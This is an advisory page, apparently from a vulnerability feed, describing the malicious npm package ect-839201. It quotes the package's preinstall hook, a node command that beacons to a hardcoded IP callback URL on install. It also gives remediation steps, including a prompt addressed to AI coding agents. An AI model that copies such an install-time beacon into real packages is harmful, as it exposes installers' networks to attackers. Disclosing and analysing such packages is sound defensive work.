# MAL-2026-5720: Malicious code in ect-839201 (npm)


- **Type:** Malicious package
- **Package:** `ect-839201` (npm)
- **Published:** 12 Jun 2026
- **Also known as:** GHSA-v786-gqcj-q437

## What is MAL-2026-5720?

MAL-2026-5720 is a malicious package in ect-839201, published on 12 Jun 2026. 

### Official description

package.json declares a preinstall lifecycle hook that runs `node -e "require('http').get('http://10.107.121.85:8001/callback_839201')"` on `npm install`. This unconditionally issues an HTTP GET to a hardcoded RFC1918 address (10.107.121.85:8001) over plaintext, with a path (`/callback_839201`) that encodes a unique per-package probe identifier. The behavior fires automatically as part of the install lifecycle with no opt-in. The combination of (a) a bare-IP, non-publisher destination, (b) a unique callback identifier matched to the package name, and (c) plaintext HTTP on an internal/private network is the canonical dependency-confusion reconnaissance beacon: it confirms reachability from the installer's network into an attacker-controlled listener and leaks the installer's source IP, install timing, and the fact that this specific probe package resolved inside the target environment. Even though the captured request body is empty, the install itself is the signal — successful callbacks identify victim networks for follow-on attacks.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-5720?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-5720 is a malicious package: ect-839201 (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-5720/ (Markdown: https://insights.sbomify.com/MAL-2026-5720/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-5720

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-5720/
Summaries are generated and may contain mistakes; the official description above is the record.